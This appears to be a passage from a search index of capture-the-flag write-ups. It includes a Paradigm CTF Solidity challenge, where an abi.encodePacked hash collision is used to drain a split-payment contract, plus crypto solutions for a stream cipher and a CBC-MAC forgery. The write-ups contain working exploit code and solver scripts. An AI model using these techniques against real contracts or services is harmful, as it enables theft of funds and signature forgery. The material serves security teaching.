address []( 2 ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000dEaD ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); uint32 [] memory percents = new uint32 []( 2 ); percents [ 0 ] = 5e5 ; percents [ 1 ] = 5e5 ; uint256 id = split . createSplit ( addrs , percents , 0 ); Split . SplitData memory splitData = split . splitsById ( id ); splitData . wallet . deposit { value : 100 ether }(); challenge = address ( new Challenge ( split )); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol\" ; import \"./Split.sol\" ; contract Challenge { Split public immutable SPLIT ; constructor ( Split split ) { SPLIT = split ; } function isSolved () external view returns ( bool ) { Split . SplitData memory splitData = SPLIT . splitsById ( 0 ); return address ( SPLIT ). balance == 0 && address ( splitData . wallet ). balance == 0 ; } } src/Split.sol import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; import \"@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol\" ; import \"./SplitWallet.sol\" ; contract Split is ERC721 ( \"Split\" , \"SPLIT\" ) { using ClonesWithImmutableArgs for address ; struct SplitData { bytes32 hash ; SplitWallet wallet ; } SplitWallet private immutable IMPLEMENTATION = new SplitWallet (); uint256 private immutable SCALE = 1e6 ; uint256 public nextId ; mapping ( uint256 => SplitData ) private _splitsById ; mapping ( address => mapping ( address => uint256 )) public balances ; modifier onlySplitOwner ( uint256 splitId ) { _onlySplitOwner ( splitId ); _ ; } function _onlySplitOwner ( uint256 splitId ) private view { require ( msg . sender == ownerOf ( splitId ), \"NOT_SPLIT_OWNER\" ); } modifier validSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) { _validSplit ( accounts , percents , relayerFee ); _ ; } function _validSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) private pure { require ( accounts . length == percents . length , \"MISMATCH_LENGTH\" ); uint256 sum ; for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { sum += percents [ i ]; } require ( sum == SCALE , \"INVALID_PERCENTAGES\" ); require ( relayerFee < SCALE / 10 , \"INVALID_RELAYER_FEE\" ); } function createSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) external returns ( uint256 ) { return _createSplit ( accounts , percents , relayerFee , msg . sender ); } function createSplitFor ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , address owner ) external returns ( uint256 ) { return _createSplit ( accounts , percents , relayerFee , owner ); } function _createSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , address owner ) private validSplit ( accounts , percents , relayerFee ) returns ( uint256 ) { uint256 tokenId = nextId ++ ; address wallet = address ( IMPLEMENTATION ). clone ( abi . encodePacked ( address ( this ))); _splitsById [ tokenId ] = SplitData ({ hash : _hashSplit ( accounts , percents , relayerFee ), wallet : SplitWallet ( payable ( wallet ))}); _mint ( owner , tokenId ); return tokenId ; } function updateSplit ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) external { _updateSplit ( splitId , accounts , percents , relayerFee ); } function updateSplitAndDistribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) external { _updateSplit ( splitId , accounts , percents , relayerFee ); _distribute ( splitId , accounts , percents , relayerFee , token ); } function distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) external { _distribute ( splitId , accounts , percents , relayerFee , token ); } function withdraw ( IERC20 [] calldata tokens , uint256 [] calldata amounts ) external { for ( uint256 i = 0 ; i < tokens . length ; i ++ ) { IERC20 token = tokens [ i ]; uint256 amount = amounts [ i ]; balances [ msg . sender ][ address ( token )] -= amount ; if ( address ( token ) == address ( 0x00 )) { payable ( msg . sender ). transfer ( amount ); } else { token . transfer ( msg . sender , amount ); } } } function _updateSplit ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) private onlySplitOwner ( splitId ) validSplit ( accounts , percents , relayerFee ) { _splitsById [ splitId ]. hash = _hashSplit ( accounts , percents , relayerFee ); } function _distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) private { require ( _splitsById [ splitId ]. hash == _hashSplit ( accounts , percents , relayerFee )); SplitWallet wallet = _splitsById [ splitId ]. wallet ; uint256 storedWalletBalance = balances [ address ( wallet )][ address ( token )]; uint256 externalWalletBalance = wallet . balanceOf ( token ); uint256 totalBalance = storedWalletBalance + externalWalletBalance ; if ( msg . sender != ownerOf ( splitId )) { uint256 relayerAmount = totalBalance * relayerFee / SCALE ; balances [ msg . sender ][ address ( token )] += relayerAmount ; totalBalance -= relayerAmount ; } for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { balances [ accounts [ i ]][ address ( token )] += totalBalance * percents [ i ] / SCALE ; } if ( storedWalletBalance > 0 ) { balances [ address ( wallet )][ address ( token )] = 0 ; } if ( externalWalletBalance > 0 ) { wallet . pullToken ( token , externalWalletBalance ); } } function _hashSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) internal pure returns ( bytes32 ) { return keccak256 ( abi . encodePacked ( accounts , percents , relayerFee )); } function splitsById ( uint256 id ) external view returns ( SplitData memory ) { return _splitsById [ id ]; } receive () external payable {} } src/SplitWallet.sol import \"@clones-with-immutable-args/src/Clone.sol\" ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; contract SplitWallet is Clone { function deposit () external payable {} function pullToken ( IERC20 token , uint256 amount ) external { require ( msg . sender == _getArgAddress ( 0 )); if ( address ( token ) == address ( 0x00 )) { payable ( msg . sender ). transfer ( amount ); } else { token . transfer ( msg . sender , amount ); } } function balanceOf ( IERC20 token ) external view returns ( uint256 ) { if ( address ( token ) == address ( 0x00 )) { return address ( this ). balance ; } return token . balanceOf ( address ( this )); } }","title":"Description"},{"location":"blockchain/paradigm/one_hundred_percent/#solution","text":"To solve the challenge, the ether balance of both SPLIT and _splitsById[0].wallet should be 0 The distribute() function of Split can be used to distribute the specific asset in the SplitWallet , based on the accounts and percents that are specified during the creation of the SplitWallet . After distribution, users can withdraw based on the value stored in balances However, distribute() simply validates the parameters by comparing the hash of abi.encodePacked result, while both accounts and percents are dynamic types. Thus, accounts and percents can be slightly adjusted during distribution function _distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) private { require ( _splitsById [ splitId ]. hash == _hashSplit ( accounts , percents , relayerFee )); ... } function _hashSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) internal pure returns ( bytes32 ) { return keccak256 ( abi . encodePacked ( accounts , percents , relayerFee )); } During the creation of SplitWallet{id: 0} , index 1 account has been accidentally left uninitialized address [] memory addrs = new address []( 2 ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000dEaD ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); ... uint256 id = split . createSplit ( addrs , percents , 0 ); So we can use modified accounts and percents to pull all ETH from SplitWallet{id: 0} but not distribute it to anyone, while keeping the hash unchanged (Note that array elements are padded to 32 bytes) function _distribute ( uint256 splitId , address [] memory accounts , // @note [0xbEEF] uint32 [] memory percents , // @note [0, 5e5, 5e5] uint32 relayerFee , IERC20 token ) private { ... uint256 totalBalance = storedWalletBalance + externalWalletBalance ; if ( msg . sender != ownerOf ( splitId )) { uint256 relayerAmount = totalBalance * relayerFee / SCALE ; balances [ msg . sender ][ address ( token )] += relayerAmount ; totalBalance -= relayerAmount ; } for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { balances [ accounts [ i ]][ address ( token )] += totalBalance * percents [ i ] / SCALE ; } ... } Similarly, we can utilize the hash collision caused by abi.encodePacked to withdraw more ETH than deposited to drain Split","title":"Solution"},{"location":"blockchain/paradigm/one_hundred_percent/#exploit","text":"function solve ( address challenge , address player ) internal override { Challenge chall = Challenge ( challenge ); Split split = chall . SPLIT (); address [] memory account = new address []( 1 ); account [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); uint32 [] memory percents = new uint32 []( 3 ); percents [ 1 ] = 5e5 ; percents [ 2 ] = 5e5 ; split . distribute ( 0 , account , percents , 0 , IERC20 ( address ( 0 ))); // pull from SplitWallet address [] memory accounts = new address []( 2 ); accounts [ 0 ] = player ; accounts [ 1 ] = address ( 2 ** 32 - 1 ); // set percent to the max percents = new uint32 []( 2 ); percents [ 0 ] = 5e5 ; percents [ 1 ] = 5e5 ; split . createSplit ( accounts , percents , 0 ); Split . SplitData memory splitData = split . splitsById ( 1 ); // x * (2 ** 32 - 1) / 1e6 > (100 ether + x) => x > 100 ether * 1e6 / (2 ** 32 - 1e6 - 1) splitData . wallet . deposit { value : 100 ether * 1e6 / uint256 ( 2 ** 31 )}(); account [ 0 ] = player ; percents = new uint32 []( 3 ); percents [ 0 ] = 2 ** 32 - 1 ; percents [ 1 ] = 5e5 ; percents [ 2 ] = 5e5 ; split . distribute ( 1 , account , percents , 0 , IERC20 ( address ( 0 ))); IERC20 [] memory tokens = new IERC20 []( 1 ); tokens [ 0 ] = IERC20 ( address ( 0 )); uint256 [] memory amounts = new uint256 []( 1 ); amounts [ 0 ] = address ( split ). balance ; split . withdraw ( tokens , amounts ); require ( chall . isSolved ()); }","title":"Exploit"},{"location":"blockchain/paradigm/one_hundred_percent/#flag","text":"PCTF{gU355_7H3r3_w45n7_3nOUgH_1NpU7_V4L1D471ON}","title":"Flag"},{"location":"crypto/alkaloid_stream/","text":"\u9898\u76ee \u00b6 I found a weird stream cipher scheme. Can you break this? CTFtime.org / pbctf 2021 / Alkaloid Stream \u89e3\u9898\u601d\u8def \u00b6 \u52a0\u5bc6\u7a0b\u5e8f gen.py \u548c\u8f93\u51fa\u6587\u4ef6 output.txt \u5148\u770b\u770b\u52a0\u5bc6\u7a0b\u5e8f\u6267\u884c\u7684\u51fd\u6570 flag = bytes_to_bits ( flag ) key = keygen ( len ( flag )) # \u6839\u636e flag \u7684\u957f\u5ea6\u4ea7\u751f\u5bc6\u94a5 keystream , public = gen_keystream ( key ) assert keystream == recover_keystream ( key , public ) # \u5224\u65ad\u662f\u5426\u80fd\u7531 key \u548c public \u8fd8\u539f\u51fa keystream enc = bits_to_bytes ( xor ( flag , keystream )) # flag\u3001enc \u548c keystream \u4e09\u8005\u957f\u5ea6\u4e00\u81f4 # \u5f02\u6216\uff0c\u5df2\u77e5 enc \u548c keystream \u53ef\u6c42 flag print ( enc . hex ()) print ( public ) \u73b0\u5728\u5df2\u77e5 enc \u548c public \uff0c\u9700\u8981\u83b7\u5f97 key \u6216\u8005 keystream \u624d\u80fd\u5f97\u5230 flag keygen \u51fd\u6570\u53ea\u8981\u63d0\u4f9b\u957f\u5ea6\u5c31\u53ef\u4ee5\u8f93\u51fa\u5bc6\u94a5\uff01\u4e8e\u662f\u6109\u5feb\u5730\u770b\u4e86\u770b\uff0c\u7ed3\u679c\u53d1\u73b0\u7528\u5230\u4e86\u968f\u673a\u6570 (\u2565\u03c9\u2565) \u3010\u7206\u7834\u5f53\u7136\u662f\u4e0d\u73b0\u5b9e\u7684\uff01\u3011 def keygen ( ln ): # Generate a linearly independent key arr = [ 1 << i for i in range ( ln ) ] for i in range ( ln ): for j in range ( i ): if random . getrandbits ( 1 ): arr [ j ] ^= arr [ i ] for i in range ( ln ): for j in range ( i ): if random . getrandbits ( 1 ): arr [ ln - 1 - j ] ^= arr [ ln - 1 - i ] return arr \u56e0\u4e3a\u6ca1\u6709 key \uff0c recover_keystream \u51fd\u6570\u4e5f\u6ca1\u6709\u4ec0\u4e48\u7528\u4e86\uff0c gen_keystream \u51fd\u6570\u6210\u4e3a\u4e86\u91cd\u70b9\u5173\u6ce8\u5bf9\u8c61 def gen_keystream ( key ): ln = len ( key ) # Generate some fake values based on the given key... fake = [ 0 ] * ln for i in range ( ln ): for j in range ( ln // 3 ): if i + j + 1 >= ln : break fake [ i ] ^= key [ i + j + 1 ] # Generate the keystream res = [] for i in range ( ln ): t = random . getrandbits ( 1 ) if t : res . append (( t , [ fake [ i ], key [ i ]])) else : res . append (( t , [ key [ i ], fake [ i ]])) # Shuffle! random . shuffle ( res ) keystream = [ v [ 0 ] for v in res ] public = [ v [ 1 ] for v in res ] # \u7531 key \u548c fake \u6570\u7ec4\u7ec4\u6210 return keystream , public \u5176\u4e2d\uff0c fake \u6570\u7ec4\u7684\u4ea7\u751f\u8fc7\u7a0b\u4e3a\u7a81\u7834\u70b9\u3002\u5f53\u4e14\u4ec5\u5f53 \\(i = ln - 1\\) \u65f6\uff0c \\(fake[ln - 1]\\) \u4e0d\u4e0e key \u6570\u7ec4\u4e2d\u7684\u503c\u5f02\u6216\uff0c\u4e14 fake \u6570\u7ec4\u521d\u59cb\u503c\u4e3a\u5168 \\(0\\) \uff0c\u56e0\u6b64 \\(fake[ln - 1] = 0\\) \u3002\u5728 output.txt \u4e2d\u641c\u7d22\uff0c\u53ea\u6709\u4e00\u4e2a \\(0\\) \\(\u03a6\u03c9\u03a6)/ \u7531\u6b64\u7ed3\u5408 public \u6570\u7ec4\u53ef\u4ee5\u4f9d\u6b21\u63a8\u51fa key \u6570\u7ec4\u548c keystream \\(fake[ln - 1] => key[ln - 1]\\) \\(key[ln - 1] = fake[ln - 2] => key[ln - 2]\\) \\(key[ln - 2] \\oplus key[ln - 1] = fake[ln - 3] => key[ln - 3]\\) \\(... ...\\) \u4f7f\u7528 recover_keystream \u51fd\u6570\u6216\u76f4\u63a5\u7528 keystream \u5f02\u6216 enc \u5c31\u53ef\u4ee5\u5f97\u5230 Flag \u5566\uff01(\u03a6\u02cb\u03c9\u02ca\u03a6) ln = len ( enc ) key = [ 0 ] * ln keystream = [ 0 ] * ln # \u4f9d\u6b21\u6c42\u89e3 for i in range ( ln - 1 , - 1 , - 1 ): fake = 0 for j in range ( ln // 3 ): if i + j + 1 >= ln : break fake ^= key [ i + j + 1 ] for p in range ( ln ): if fake == public [ p ][ 0 ]: key [ i ] = public [ p ][ 1 ] keystream [ p ] = 1 public [ p ] = [ - 1 , - 1 ] elif fake == public [ p ][ 1 ]: key [ i ] = public [ p ][ 0 ] keystream [ p ] = 0 public [ p ] = [ - 1 , - 1 ] print ( bits_to_bytes ( xor ( enc , keystream ))) # b'pbctf{super_duper_easy_brute_forcing_actually_this_one_was_made_by_mistake}'","title":"Alkaloid Stream"},{"location":"crypto/alkaloid_stream/#_1","text":"I found a weird stream cipher scheme. Can you break this? CTFtime.org / pbctf 2021 / Alkaloid Stream","title":"\u9898\u76ee"},{"location":"crypto/alkaloid_stream/#_2","text":"\u52a0\u5bc6\u7a0b\u5e8f gen.py \u548c\u8f93\u51fa\u6587\u4ef6 output.txt \u5148\u770b\u770b\u52a0\u5bc6\u7a0b\u5e8f\u6267\u884c\u7684\u51fd\u6570 flag = bytes_to_bits ( flag ) key = keygen ( len ( flag )) # \u6839\u636e flag \u7684\u957f\u5ea6\u4ea7\u751f\u5bc6\u94a5 keystream , public = gen_keystream ( key ) assert keystream == recover_keystream ( key , public ) # \u5224\u65ad\u662f\u5426\u80fd\u7531 key \u548c public \u8fd8\u539f\u51fa keystream enc = bits_to_bytes ( xor ( flag , keystream )) # flag\u3001enc \u548c keystream \u4e09\u8005\u957f\u5ea6\u4e00\u81f4 # \u5f02\u6216\uff0c\u5df2\u77e5 enc \u548c keystream \u53ef\u6c42 flag print ( enc . hex ()) print ( public ) \u73b0\u5728\u5df2\u77e5 enc \u548c public \uff0c\u9700\u8981\u83b7\u5f97 key \u6216\u8005 keystream \u624d\u80fd\u5f97\u5230 flag keygen \u51fd\u6570\u53ea\u8981\u63d0\u4f9b\u957f\u5ea6\u5c31\u53ef\u4ee5\u8f93\u51fa\u5bc6\u94a5\uff01\u4e8e\u662f\u6109\u5feb\u5730\u770b\u4e86\u770b\uff0c\u7ed3\u679c\u53d1\u73b0\u7528\u5230\u4e86\u968f\u673a\u6570 (\u2565\u03c9\u2565) \u3010\u7206\u7834\u5f53\u7136\u662f\u4e0d\u73b0\u5b9e\u7684\uff01\u3011 def keygen ( ln ): # Generate a linearly independent key arr = [ 1 << i for i in range ( ln ) ] for i in range ( ln ): for j in range ( i ): if random . getrandbits ( 1 ): arr [ j ] ^= arr [ i ] for i in range ( ln ): for j in range ( i ): if random . getrandbits ( 1 ): arr [ ln - 1 - j ] ^= arr [ ln - 1 - i ] return arr \u56e0\u4e3a\u6ca1\u6709 key \uff0c recover_keystream \u51fd\u6570\u4e5f\u6ca1\u6709\u4ec0\u4e48\u7528\u4e86\uff0c gen_keystream \u51fd\u6570\u6210\u4e3a\u4e86\u91cd\u70b9\u5173\u6ce8\u5bf9\u8c61 def gen_keystream ( key ): ln = len ( key ) # Generate some fake values based on the given key... fake = [ 0 ] * ln for i in range ( ln ): for j in range ( ln // 3 ): if i + j + 1 >= ln : break fake [ i ] ^= key [ i + j + 1 ] # Generate the keystream res = [] for i in range ( ln ): t = random . getrandbits ( 1 ) if t : res . append (( t , [ fake [ i ], key [ i ]])) else : res . append (( t , [ key [ i ], fake [ i ]])) # Shuffle! random . shuffle ( res ) keystream = [ v [ 0 ] for v in res ] public = [ v [ 1 ] for v in res ] # \u7531 key \u548c fake \u6570\u7ec4\u7ec4\u6210 return keystream , public \u5176\u4e2d\uff0c fake \u6570\u7ec4\u7684\u4ea7\u751f\u8fc7\u7a0b\u4e3a\u7a81\u7834\u70b9\u3002\u5f53\u4e14\u4ec5\u5f53 \\(i = ln - 1\\) \u65f6\uff0c \\(fake[ln - 1]\\) \u4e0d\u4e0e key \u6570\u7ec4\u4e2d\u7684\u503c\u5f02\u6216\uff0c\u4e14 fake \u6570\u7ec4\u521d\u59cb\u503c\u4e3a\u5168 \\(0\\) \uff0c\u56e0\u6b64 \\(fake[ln - 1] = 0\\) \u3002\u5728 output.txt \u4e2d\u641c\u7d22\uff0c\u53ea\u6709\u4e00\u4e2a \\(0\\) \\(\u03a6\u03c9\u03a6)/ \u7531\u6b64\u7ed3\u5408 public \u6570\u7ec4\u53ef\u4ee5\u4f9d\u6b21\u63a8\u51fa key \u6570\u7ec4\u548c keystream \\(fake[ln - 1] => key[ln - 1]\\) \\(key[ln - 1] = fake[ln - 2] => key[ln - 2]\\) \\(key[ln - 2] \\oplus key[ln - 1] = fake[ln - 3] => key[ln - 3]\\) \\(... ...\\) \u4f7f\u7528 recover_keystream \u51fd\u6570\u6216\u76f4\u63a5\u7528 keystream \u5f02\u6216 enc \u5c31\u53ef\u4ee5\u5f97\u5230 Flag \u5566\uff01(\u03a6\u02cb\u03c9\u02ca\u03a6) ln = len ( enc ) key = [ 0 ] * ln keystream = [ 0 ] * ln # \u4f9d\u6b21\u6c42\u89e3 for i in range ( ln - 1 , - 1 , - 1 ): fake = 0 for j in range ( ln // 3 ): if i + j + 1 >= ln : break fake ^= key [ i + j + 1 ] for p in range ( ln ): if fake == public [ p ][ 0 ]: key [ i ] = public [ p ][ 1 ] keystream [ p ] = 1 public [ p ] = [ - 1 , - 1 ] elif fake == public [ p ][ 1 ]: key [ i ] = public [ p ][ 0 ] keystream [ p ] = 0 public [ p ] = [ - 1 , - 1 ] print ( bits_to_bytes ( xor ( enc , keystream ))) # b'pbctf{super_duper_easy_brute_forcing_actually_this_one_was_made_by_mistake}'","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/baby_mac/","text":"\u9898\u76ee \u00b6 We implemented a simple signing service. Can you sign a flag request? nc babymac.hackable.software 1337 task.py #!/usr/bin/env python3 import os try : from Crypto.Cipher import AES except ImportError : from Cryptodome.Cipher import AES def split_by ( data , cnt ): return [ data [ i : i + cnt ] for i in range ( 0 , len ( data ), cnt )] def pad ( data , bsize ): b = bsize - len ( data ) % bsize return data + bytes ([ b ] * b ) def xor ( a , b ): return bytes ( aa ^ bb for aa , bb in zip ( a , b )) def sign ( data , key ): data = pad ( data , 16 ) blocks = split_by ( data , 16 ) mac = b ' \\0 ' * 16 aes = AES . new ( key , AES . MODE_ECB ) for block in blocks : mac = xor ( mac , block ) mac = aes . encrypt ( mac ) mac = aes . encrypt ( mac ) return mac def verify ( data , key ): if len ( data ) < 16 : return False , '' tag , data = data [: 16 ], data [ 16 :] correct_tag = sign ( data , key ) if tag != correct_tag : return False , '' return True , data def main (): key = os . urandom ( 16 ) while True : print ( 'What to do?' ) opt = input ( '> ' ) . strip () if opt == 'sign' : data = input ( '> ' ) . strip () data = bytes . fromhex ( data ) if b 'gimme flag' in data : print ( 'That \\' s not gonna happen' ) break print (( sign ( data , key ) + data ) . hex ()) elif opt == 'verify' : data = input ( '> ' ) . strip () data = bytes . fromhex ( data ) ok , data = verify ( data , key ) if ok : if b 'gimme flag' in data : with open ( 'flag.txt' , 'r' ) as f : print ( f . read ()) else : print ( 'looks ok!' ) else : print ( 'hacker detected!' ) else : print ( '??' ) break return 0 if __name__ == '__main__' : exit ( main ()) \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u5728\u4e0d\u8f93\u5165\u5305\u542b gimme flag \u5b57\u7b26\u4e32\u7684\u60c5\u51b5\u4e0b\uff0c\u83b7\u5f97\u5305\u542b gimme flag \u5b57\u7b26\u4e32\u7684 MAC \u5206\u6790 sign() \u51fd\u6570\uff0c\u53d1\u73b0\u5b9e\u9645\u662f CBC-MAC def sign ( data , key ): data = pad ( data , 16 ) blocks = split_by ( data , 16 ) mac = b ' \\0 ' * 16 aes = AES . new ( key , AES . MODE_ECB ) for block in blocks : mac = xor ( mac , block ) mac = aes . encrypt ( mac ) # \u7ed3\u679c\u518d\u52a0\u5bc6\uff0c\u53ef\u4ee5\u8ba4\u4e3a\u5b9e\u9645\u52a0\u5bc6\u7684\u6d88\u606f\u4e3a blocks + (b'\\0' * 16) mac = aes . encrypt ( mac ) return mac \u5f53\u660e\u6587\u957f\u5ea6\u521a\u597d\u4e3a 16 \u5b57\u8282\u65f6\uff0c\u5c06\u586b\u5145 b'\\x10' * 16 \uff0c\u7528 \\(pad\\) \u8868\u793a\uff0c \\(iv\\) \u8868\u793a b'\\x00' * 16 \u53ef\u4ee5\u5229\u7528\u5f02\u6216\u53d6\u5f97\u76ee\u6807\u5b57\u7b26\u4e32\u7684 MAC\uff08\u52a0\u5bc6\u8fc7\u7a0b\u7b80\u5355\u8868\u793a\u4e3a\u987a\u5e8f\u5757\u7684\u5f62\u5f0f\uff0c\u5982 \\(pad, iv\\) \u7b49\u4ef7\u4e8e \\(MAC_k(MAC_k(pad) \\oplus iv)\\) \uff09 \\(pad, iv = C_0\\) \\(P=hex(gimme\\,flag123456)\\) \\(x=C_0 \\oplus P\\) \\(pad, iv, x, pad, iv = C_1 => P, pad, iv = C_1\\) \u5b9e\u9645\u53ea\u8981\u77e5\u9053 \\(pad+iv\\) \u548c \\(pad+iv+x+pad+iv\\) \u7684 MAC \u5c31\u53ef\u4ee5\u4e86 XD #!/usr/bin/python import pwn from Crypto.Util.number import bytes_to_long , long_to_bytes conn = pwn . remote ( \"babymac.hackable.software\" , 1337 ) conn . sendafter ( '> ' , 'sign \\n ' ) conn . sendafter ( '> ' , ' \\n ' ) c0 = bytes . fromhex ( conn . recvline () . decode () . strip ()) P = b 'gimme flag123456' x = long_to_bytes ( bytes_to_long ( P ) ^ bytes_to_long ( c0 )) . hex () conn . sendafter ( '> ' , 'sign \\n ' ) conn . sendafter ( '> ' , '10' * 16 + '00' * 16 + x + ' \\n ' ) c1 = conn . recvline () . decode ()[: 32 ] conn . sendafter ( '> ' , 'verify \\n ' ) conn . sendafter ( '> ' , c1 + P . hex () + ' \\n ' ) conn . interactive ()","title":"Baby MAC"},{"location":"crypto/baby_mac/#_1","text":"We implemented a simple signing service. Can you sign a flag request? nc babymac.hackable.software 1337 task.py #!/usr/bin/env python3 import os try : from Crypto.Cipher import AES except ImportError : from Cryptodome.Cipher import AES def split_by ( data , cnt ): return [ data [ i : i + cnt ] for i in range ( 0 , len ( data ), cnt )] def pad ( data , bsize ): b = bsize - len ( data ) % bsize return data + bytes ([ b ] * b ) def xor ( a , b ): return bytes ( aa ^ bb for aa , bb in zip ( a , b )) def sign ( data , key ): data = pad ( data , 16 ) blocks = split_by ( data , 16 ) mac = b ' \\0 ' * 16 aes = AES . new ( key , AES . MODE_ECB ) for block in blocks : mac = xor ( mac , block ) mac = aes . encrypt ( mac ) mac = aes . encrypt ( mac ) return mac def verify ( data , key ): if len ( data ) < 16 : return False , '' tag , data = data [: 16 ], data [ 16 :] correct_tag = sign ( data , key ) if tag != correct_tag : return False , '' return True , data def main (): key = os . urandom ( 16 ) while True : print ( 'What to do?' ) opt = input ( '> ' ) . strip () if opt == 'sign' : data = input ( '> ' ) . strip () data = bytes . fromhex ( data ) if b 'gimme flag' in data : print ( 'That \\' s not gonna happen' ) break print (( sign ( data , key ) + data ) . hex ()) elif opt == 'verify' : data = input ( '> ' ) . strip () data = bytes . fromhex ( data ) ok , data = verify ( data , key ) if ok : if b 'gimme flag' in data : with open ( 'flag.txt' , 'r' ) as f : print ( f . read ()) else : print ( 'looks ok!' ) else : print ( 'hacker detected!' ) else : print ( '??' ) break return 0 if __name__ == '__main__' : exit ( main ())","title":"\u9898\u76ee"},{"location":"crypto/baby_mac/#_2","text":"\u9700\u8981\u5728\u4e0d\u8f93\u5165\u5305\u542b gimme flag \u5b57\u7b26\u4e32\u7684\u60c5\u51b5\u4e0b\uff0c\u83b7\u5f97\u5305\u542b gimme flag \u5b57\u7b26\u4e32\u7684 MAC \u5206\u6790 sign() \u51fd\u6570\uff0c\u53d1\u73b0\u5b9e\u9645\u662f CBC-MAC def sign ( data , key ): data = pad ( data , 16 ) blocks = split_by ( data , 16 ) mac = b ' \\0 ' * 16 aes = AES . new ( key , AES . MODE_ECB ) for block in blocks : mac = xor ( mac , block ) mac = aes . encrypt ( mac ) # \u7ed3\u679c\u518d\u52a0\u5bc6\uff0c\u53ef\u4ee5\u8ba4\u4e3a\u5b9e\u9645\u52a0\u5bc6\u7684\u6d88\u606f\u4e3a blocks + (b'\\0' * 16) mac = aes . encrypt ( mac ) return mac \u5f53\u660e\u6587\u957f\u5ea6\u521a\u597d\u4e3a 16 \u5b57\u8282\u65f6\uff0c\u5c06\u586b\u5145 b'\\x10' * 16 \uff0c\u7528 \\(pad\\) \u8868\u793a\uff0c \\(iv\\) \u8868\u793a b'\\x00' * 16 \u53ef\u4ee5\u5229\u7528\u5f02\u6216\u53d6\u5f97\u76ee\u6807\u5b57\u7b26\u4e32\u7684 MAC\uff08\u52a0\u5bc6\u8fc7\u7a0b\u7b80\u5355\u8868\u793a\u4e3a\u987a\u5e8f\u5757\u7684\u5f62\u5f0f\uff0c\u5982 \\(pad, iv\\) \u7b49\u4ef7\u4e8e \\(MAC_k(MAC_k(pad) \\oplus iv)\\) \uff09 \\(pad, iv = C_0\\) \\(P=hex(gimme\\,flag123456)\\) \\(x=C_0 \\oplus P\\) \\(pad, iv, x, pad, iv = C_1 => P, pad, iv = C_1\\) \u5b9e\u9645\u53ea\u8981\u77e5\u9053 \\(pad+iv\\) \u548c \\(pad+iv+x+pad+iv\\) \u7684 MAC \u5c31\u53ef\u4ee5\u4e86 XD #!/usr/bin/python import pwn from Crypto.Util.number import bytes_to_long , long_to_bytes conn = pwn . remote ( \"babymac.hackable.software\" , 1337 ) conn . sendafter ( '> ' , 'sign \\n ' ) conn . sendafter ( '> ' , ' \\n ' ) c0 = bytes . fromhex ( conn . recvline () . decode () . strip ()) P = b 'gimme flag123456' x = long_to_bytes ( bytes_to_long ( P ) ^ bytes_to_long ( c0 )) . hex () conn . sendafter ( '> ' , 'sign \\n ' ) conn . sendafter ( '> ' , '10' * 16 + '00' * 16 + x + ' \\n ' ) c1 = conn . recvline () . decode ()[: 32 ] conn . sendafter ( '> ' , 'verify \\n ' ) conn . sendafter ( '> ' , c1 + P . hex () + ' \\n ' ) conn . interactive ()","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/badkey1/","tags":["rsa","pycryptodome","invalid key"],"text":"#rsa #pycryptodome #invalid key .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 \u6211\u8ba4\u771f\u68c0\u67e5\u4e86\u4e00\u4e0b\u6211\u7684 RSA \u53c2\u6570\uff0c\u4f3c\u4e4e\u6ca1\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u4f46\u662f\u4e3a\u4ec0\u4e48\u4f1a\u2026\u2026 test.py from Crypto.Util.number import * from Crypto.PublicKey import RSA from hashlib import sha256 import random , os , signal , string def proof_of_work (): random . seed ( os . urandom ( 8 )) proof = '' . join ([ random . choice ( string . ascii_letters + string . digits ) for _ in range ( 20 )]) _hexdigest = sha256 ( proof . encode ()) . hexdigest () print ( f \"sha256(XXXX+ { proof [ 4 :] } ) == { _hexdigest } \" ) print ( 'Give me XXXX: ' ) x = input () if len ( x ) != 4 or sha256 ( x . encode () + proof [ 4 :] . encode ()) . hexdigest () != _hexdigest : print ( 'Wrong PoW' ) return False return True if not proof_of_work (): exit ( 1 ) signal . alarm ( 10 ) print ( \"Give me a bad RSA keypair.\" ) try : p = int ( input ( 'p = ' )) q = int ( input ( 'q = ' )) assert p > 0 assert q > 0 assert p != q assert p . bit_length () == 512 assert q . bit_length () == 512 assert isPrime ( p ) assert isPrime ( q ) n = p * q e = 65537 assert p % e != 1 assert q % e != 1 d = inverse ( e , ( p - 1 ) * ( q - 1 )) except : print ( \"Invalid params\" ) exit ( 2 